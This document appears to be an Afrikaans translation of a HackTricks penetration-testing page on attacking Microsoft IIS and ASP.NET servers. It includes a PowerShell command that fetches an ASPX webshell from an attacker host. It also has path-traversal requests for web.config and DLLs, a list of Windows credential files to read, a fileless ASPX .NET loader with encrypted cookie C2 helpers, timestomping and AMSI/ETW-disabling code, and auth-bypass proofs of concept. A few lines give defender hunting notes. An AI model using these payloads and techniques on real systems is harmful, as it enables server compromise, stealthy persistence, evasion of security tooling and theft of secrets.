IIS - Internet Information Services

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Toets uitvoerbare lêeruitbreidings:

  • asp
  • aspx
  • config
  • php

Skryfbare webroot → ASPX command shell

As ’n lae-bevoegdheids gebruiker/groep skryf toegang het tot C:\inetpub\wwwroot, kan jy ’n ASPX webshell neergooi en OS-opdragte uitvoer as die application pool identity (dikwels met SeImpersonatePrivilege).

  • Kontroleer ACLs: icacls C:\inetpub\wwwroot of cacls . kyk vir (F) op jou gebruiker/groep.
  • Laai ’n command webshell op (bv., fuzzdb/tennc cmd.aspx) met PowerShell:
iwr http://ATTACKER_IP/shell.aspx -OutFile C:\inetpub\wwwroot\shell.aspx
  • Versoek /shell.aspx en voer opdragte uit; identiteit toon tipies iis apppool\defaultapppool.
  • Kombineer met Potato-family LPE (bv. GodPotato/SigmaPotato) wanneer die AppPool token SeImpersonatePrivilege het om na SYSTEM te pivot.

Blootstelling van interne IP-adres

Op enige IIS-bediener waar jy n 302 kry, kan jy probeer om die Host header te verwyder en HTTP/1.0 te gebruik; in die antwoord kan die Location header na die interne IP-adres wys:

nc -v domain.com 80
openssl s_client -connect domain.com:443

Antwoord wat die interne IP openbaar:

GET / HTTP/1.0

HTTP/1.1 302 Moved Temporarily
Cache-Control: no-cache
Pragma: no-cache
Location: https://192.168.5.237/owa/
Server: Microsoft-IIS/10.0
X-FEServer: NHEXCHANGE2016

Voer .config-lêers uit

Jy kan .config-lêers oplaai en dit gebruik om kode uit te voer. Een manier om dit te doen is om die kode aan die einde van die lêer binne ’n HTML-opmerking in te voeg: Download example here

Meer inligting en tegnieke om hierdie kwesbaarheid uit te buit here

IIS Discovery Bruteforce

Laai die lys wat ek geskep het af:

Dit is geskep deur die inhoud van die volgende lyste saam te voeg:

https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt
http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html
https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt
https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt

Gebruik dit sonder om enige uitbreiding by te voeg; die lêers wat dit benodig het dit reeds.

Path Traversal

Leaking source code

Check the full writeup in: https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html

Tip

As opsomming, is daar verskeie web.config-lêers binne die vouers van die toepassing met verwysings na “assemblyIdentity” lêers en “namespaces”. Met hierdie inligting is dit moontlik om te weet waar uitvoerbare lêers geleë is en om dit af te laai.
Uit die afgelaaide Dlls is dit ook moontlik om nuwe namespaces te vind waar jy moet probeer toegang kry en die web.config-lêer kry om nuwe namespaces en assemblyIdentity te vind.
Ook kan die lêers connectionstrings.config en global.asax interessante inligting bevat.

In .Net MVC applications, die web.config-lêer speel ’n deurslaggewende rol deur elke binêre lêer waarop die toepassing staatmaak te spesifiseer via “assemblyIdentity” XML-tags.

Verken Binêre Lêers

’n Voorbeeld van toegang tot die web.config-lêer word hieronder getoon:

GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded

Hierdie versoek openbaar verskeie instellings en afhanklikhede, soos:

  • EntityFramework weergawe
  • AppSettings vir webpages, client validation en JavaScript
  • System.web konfigurasies vir verifikasie en runtime
  • System.webServer modules instellings
  • Runtime assembly-bindings vir verskeie biblioteke soos Microsoft.Owin, Newtonsoft.Json, en System.Web.Mvc

Hierdie instellings dui aan dat sekere lêers, soos /bin/WebGrease.dll, in die toepassing se /bin-gids geleë is.

Wortelgids Lêers

Lêers in die wortelgids, soos /global.asax en /connectionstrings.config (wat sensitiewe wagwoorde bevat), is noodsaaklik vir die toepassing se konfigurasie en werking.

Namespaces en Web.Config

MVC-toepassings definieer ook addisionele web.config files vir spesifieke namespaces om herhalende verklarings in elke lêer te vermy, soos gedemonstreer met ’n versoek om nog ’n web.config af te laai:

GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded

DLLs aflaai

Die vermelding van ’n custom namespace dui op ’n DLL met die naam “WebApplication1” wat in die /bin gids aangetref word. Daarna word ’n versoek getoon om die WebApplication1.dll af te laai:

GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded

Dit dui op die teenwoordigheid van ander noodsaaklike DLLs, soos System.Web.Mvc.dll en System.Web.Optimization.dll, in die /bin-gids.

In ’n scenario waar ’n DLL ’n namespace genaamd WebApplication1.Areas.Minded invoer, kan ’n aanvaller die bestaan van ander web.config-lêers op voorspelbare paaie aflei, soos /area-name/Views/, wat spesifieke konfigurasies en verwysings na ander DLLs in die /bin-lêergids bevat. Byvoorbeeld, ’n versoek na /Minded/Views/web.config kan konfigurasies en namespaces openbaar wat die teenwoordigheid van nog ’n DLL, WebApplication1.AdditionalFeatures.dll, aandui.

Algemene lêers

Van here

C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
C:\Apache\logs\error.log
C:\Apache2\conf\httpd.conf
C:\Apache2\logs\access.log
C:\Apache2\logs\error.log
C:\Apache22\conf\httpd.conf
C:\Apache22\logs\access.log
C:\Apache22\logs\error.log
C:\Apache24\conf\httpd.conf
C:\Apache24\logs\access.log
C:\Apache24\logs\error.log
C:\Documents and Settings\Administrator\NTUser.dat
C:\php\php.ini
C:\php4\php.ini
C:\php5\php.ini
C:\php7\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\Users\Administrator\NTUser.dat
C:\Windows\debug\NetSetup.LOG
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\php.ini
C:\Windows\repair\SAM
C:\Windows\repair\system
C:\Windows\System32\config\AppEvent.evt
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SecEvent.evt
C:\Windows\System32\config\SysEvent.evt
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\winevt\Logs\Application.evtx
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\System.evtx
C:\Windows\win.ini
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\xampp\MercuryMail\MERCURY.INI
C:\xampp\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml

HTTPAPI 2.0 404 Error

If you see an error like the following one:

Dit beteken dat die bediener nie die korrekte domeinnaam in die Host header ontvang het nie.
Om toegang tot die webblad te kry kan jy kyk na die bediende SSL Certificate en dalk vind jy die domein/subdomein daar. As dit nie daar is nie, mag jy die brute force VHosts moet gebruik totdat jy die korrekte vind.

Ontsleutel versleutelde konfigurasie en ASP.NET Core Data Protection key rings

Twee algemene patrone om geheime op IIS-hosted .NET apps te beskerm is:

  • ASP.NET Protected Configuration (RsaProtectedConfigurationProvider) vir web.config sekssies soos .
  • ASP.NET Core Data Protection key ring (persisted locally) wat gebruik word om toepassingsgeheime en cookies te beskerm.

As jy lêerstelsel- of interaktiewe toegang op die webbediener het, maak saamgeplaatste sleutels dikwels ontsleuteling moontlik.

  • ASP.NET (Full Framework) – ontsleutel beskermde config-seksies met aspnet_regiis:
# Decrypt a section by app path (site configured in IIS)
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pd "connectionStrings" -app "/MyApplication"

# Or specify the physical path (-pef/-pdf write/read to a config file under a dir)
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pdf "connectionStrings" "C:\inetpub\wwwroot\MyApplication"
  • ASP.NET Core – soek Data Protection key rings wat plaaslik gestoor word (XML/JSON-lêers) onder liggings soos:
  • %PROGRAMDATA%\Microsoft\ASP.NET\DataProtection-Keys
  • HKLM\SOFTWARE\Microsoft\ASP.NET\Core\DataProtection-Keys (registry)
  • App-managed folder (e.g., App_Data\keys or a Keys directory next to the app)

Met die key ring beskikbaar kan ’n operator wat onder die app se identiteit loop ’n IDataProtector instansieer met dieselfde purposes en gestoorde geheime unprotect. Misconfigurations wat die key ring saam met die app-lêers stoor maak offline-dekryptering triviaal sodra die host gekompromitteer is.

IIS fileless backdoors and in-memory .NET loaders (NET-STAR style)

Die Phantom Taurus/NET-STAR toolkit demonstreer ’n volwasse patroon vir fileless IIS persistence en post‑exploitation heeltemal binne w3wp.exe. Die kernidees is breedweg herbruikbaar vir custom tradecraft en vir detection/hunting.

Key building blocks

  • ASPX bootstrapper hosting an embedded payload: ’n enkele .aspx-bladsy (bv. OutlookEN.aspx) dra ’n Base64‑encoded, opsioneel Gzip‑compressed .NET DLL. By ’n trigger request dekodeer dit, ontpak dit en load dit reflectively in die huidige AppDomain en roep die hoof-invoerpunt aan (bv. ServerRun.Run()).
  • Cookie‑scoped, encrypted C2 with multi‑stage packing: taks/resultate word verpak met Gzip → AES‑ECB/PKCS7 → Base64 en beweeg via skynbaar legitimisie cookie‑heavy requests; operators het stabiele delimiters (bv. “STAR”) vir chunking gebruik.
  • Reflective .NET execution: aanvaar arbitrêre managed assemblies as Base64, laai via Assembly.Load(byte[]) en gee operator args vir vinnige module-swaps sonder om die disk te raak.
  • Operating in precompiled ASP.NET sites: voeg/bestuur hulp-shells/backdoors by, selfs wanneer die site precompiled is (bv. dropper voeg dynamic pages/handlers by of gebruik config handlers) – blootgestel deur opdragte soos bypassPrecompiledApp, addshell, listshell, removeshell.
  • Timestomping/metadata forgery: bied ’n changeLastModified-aksie en timestomp tydens deployment (insluitend toekomstige compilasie-timestamps) om DFIR te bemoeilik.
  • Optional AMSI/ETW pre‑disable for loaders: ’n tweede‑fase loader kan AMSI en ETW deaktiveer voordat Assembly.Load aangeroep word om inspeksie van in‑memory payloads te verminder.

Minimal ASPX loader pattern

<%@ Page Language="C#" %>
<%@ Import Namespace="System" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.IO.Compression" %>
<%@ Import Namespace="System.Reflection" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
// 1) Obtain payload bytes (hard‑coded blob or from request)
string b64 = /* hardcoded or Request["d"] */;
byte[] blob = Convert.FromBase64String(b64);
// optional: decrypt here if AES is used
using(var gz = new GZipStream(new MemoryStream(blob), CompressionMode.Decompress)){
using(var ms = new MemoryStream()){
gz.CopyTo(ms);
var asm = Assembly.Load(ms.ToArray());
// 2) Invoke the managed entry point (e.g., ServerRun.Run)
var t = asm.GetType("ServerRun");
var m = t.GetMethod("Run", BindingFlags.Public|BindingFlags.NonPublic|BindingFlags.Static|BindingFlags.Instance);
object inst = m.IsStatic ? null : Activator.CreateInstance(t);
m.Invoke(inst, new object[]{ HttpContext.Current });
}
}
}
</script>

Verpakking/crypto-hulpfunksies (Gzip + AES‑ECB + Base64)

using System.Security.Cryptography;

static byte[] AesEcb(byte[] data, byte[] key, bool encrypt){
using(var aes = Aes.Create()){
aes.Mode = CipherMode.ECB; aes.Padding = PaddingMode.PKCS7; aes.Key = key;
ICryptoTransform t = encrypt ? aes.CreateEncryptor() : aes.CreateDecryptor();
return t.TransformFinalBlock(data, 0, data.Length);
}
}

static string Pack(object obj, byte[] key){
// serialize → gzip → AES‑ECB → Base64
byte[] raw = Serialize(obj);                    // your TLV/JSON/msgpack
using var ms = new MemoryStream();
using(var gz = new GZipStream(ms, CompressionLevel.Optimal, true)) gz.Write(raw, 0, raw.Length);
byte[] enc = AesEcb(ms.ToArray(), key, true);
return Convert.ToBase64String(enc);
}

static T Unpack<T>(string b64, byte[] key){
byte[] enc = Convert.FromBase64String(b64);
byte[] cmp = AesEcb(enc, key, false);
using var gz = new GZipStream(new MemoryStream(cmp), CompressionMode.Decompress);
using var outMs = new MemoryStream(); gz.CopyTo(outMs);
return Deserialize<T>(outMs.ToArray());
}

Cookie/session vloei en opdragoppervlak

  • Session bootstrap en tasking word via cookies gedra om by normale webaktiwiteit te meng.
  • Opdragte wat in die veld waargeneem is sluit in: fileExist, listDir, createDir, renameDir, fileRead, deleteFile, createFile, changeLastModified; addshell, bypassPrecompiledApp, listShell, removeShell; executeSQLQuery, ExecuteNonQuery; and dynamic execution primitives code_self, code_pid, run_code for in‑memory .NET execution.

Timestomping hulpmiddel

File.SetCreationTime(path, ts);
File.SetLastWriteTime(path, ts);
File.SetLastAccessTime(path, ts);

Inlyn AMSI/ETW-deaktivering voor Assembly.Load (loader-variant)

// Patch amsi!AmsiScanBuffer to return E_INVALIDARG
// and ntdll!EtwEventWrite to a stub; then load operator assembly
DisableAmsi();
DisableEtw();
Assembly.Load(payloadBytes).EntryPoint.Invoke(null, new object[]{ new string[]{ /* args */ } });

Sien AMSI/ETW bypass techniques in: windows-hardening/av-bypass.md

Jagnotas (verdedigers)

  • Enkele, vreemde ASPX-bladsy met baie lang Base64/Gzip-blokkies; poste met baie cookies.
  • Ongeondersteunde managed modules binne w3wp.exe; strings soos Encrypt/Decrypt (ECB), Compress/Decompress, GetContext, Run.
  • Herhaalde afbakeners soos “STAR” in verkeer; ongelyke of selfs toekomstige tydstempels op ASPX/assemblies.

Telerik UI WebResource.axd unsafe reflection (CVE-2025-3600)

Baie ASP.NET-apps inkorporeer Telerik UI for ASP.NET AJAX en openbaar die ongeverifieerde handler Telerik.Web.UI.WebResource.axd. Wanneer die Image Editor cache endpoint bereikbaar is (type=iec), aktiveer die parameters dkey=1 en prtype unsafe reflection wat enige publieke parameterlose konstruktor pre‑auth uitvoer. Dit gee ’n universele DoS-primitive en kan eskaleer na pre‑auth RCE op apps met onveilige AppDomain.AssemblyResolve-handlers.

Sien gedetailleerde tegnieke en PoCs hier:

Telerik Ui Aspnet Ajax Unsafe Reflection Webresource Axd

Old IIS vulnerabilities worth looking for

Microsoft IIS tilde character “~” Vulnerability/Feature – Short File/Folder Name Disclosure

Jy kan probeer om enumerate folders and files binne elke ontdekte gids (selfs as dit Basic Authentication vereis) te gebruik met hierdie technique.
Die hoofbeperking van hierdie technique as die bediener kwesbaar is, is dat dit slegs die eerste 6 letters van die naam van elke lêer/gids en die eerste 3 letters van die uitbreiding van die lêers kan vind.

Jy kan https://github.com/irsdl/IIS-ShortName-Scanner gebruik om hierdie kwesbaarheid te toets: java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/

Oorspronklike navorsing: https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf

Jy kan ook metasploit gebruik: use scanner/http/iis_shortname_scanner

Een goeie idee om die find the final name van die ontdekte lêers te kry, is om ask LLMs vir opsies soos dit in die script https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py gedoen word.

Basic Authentication bypass

Bypass Basic Authentication (IIS 7.5) deur te probeer toegang kry tot: /admin:$i30:$INDEX_ALLOCATION/admin.php of /admin::$INDEX_ALLOCATION/admin.php

Jy kan probeer om hierdie vulnerability en die laaste een te mix om nuwe folders te vind en die authentication te bypass.

ASP.NET Trace.AXD enabled debugging

ASP.NET sluit ’n debugging-modus in en die lêer heet trace.axd.

Dit hou ’n baie gedetailleerde log van alle versoeke aan ’n toepassing oor ’n tydperk.

Hierdie inligting sluit in remote client IP’s, session IDs, alle versoek- en antwoord-cookies, fisiese paaie, bronkode-inligting, en moontlik selfs gebruikersname en wagwoorde.

https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/

Screenshot 2021-03-30 at 13 19 11

ASPXAUTH gebruik die volgende inligting:

  • validationKey (string): hex-gekodeerde sleutel om te gebruik vir handtekeningverifikasie.
  • decryptionMethod (string): (verstek “AES”).
  • decryptionIV (string): hex-gekodeerde inisialisasievektor (verstek ’n vektor van nulles).
  • decryptionKey (string): hex-gekodeerde sleutel om vir dekripsie te gebruik.

Echter, sommige mense gebruik die default values van hierdie parameters en gebruik as cookie die e-pos van die gebruiker. Daarom, as jy ’n webwerf kan vind wat die same platform gebruik wat die ASPXAUTH-cookie gebruik en jy create a user with the email of the user you want to impersonate op die bediener onder aanval, kan jy dalk die cookie van die tweede bediener in die eerste een gebruik en die gebruiker naboots.
Hierdie aanval het gewerk in hierdie writeup.

IIS Authentication Bypass with cached passwords (CVE-2022-30209)

Full report here: ’n fout in die kode het nie behoorlik die wagwoord wat deur die gebruiker gegee is nagegaan nie, sodat ’n aanvaller wie se wagwoord-hash op ’n sleutel botste wat reeds in die cache is, in staat sou wees om as daardie gebruiker aan te meld.

# script for sanity check
> type test.py
def HashString(password):
j = 0
for c in map(ord, password):
j = c + (101*j)&0xffffffff
return j

assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')

# before the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized

# after the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK

Verwysings

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks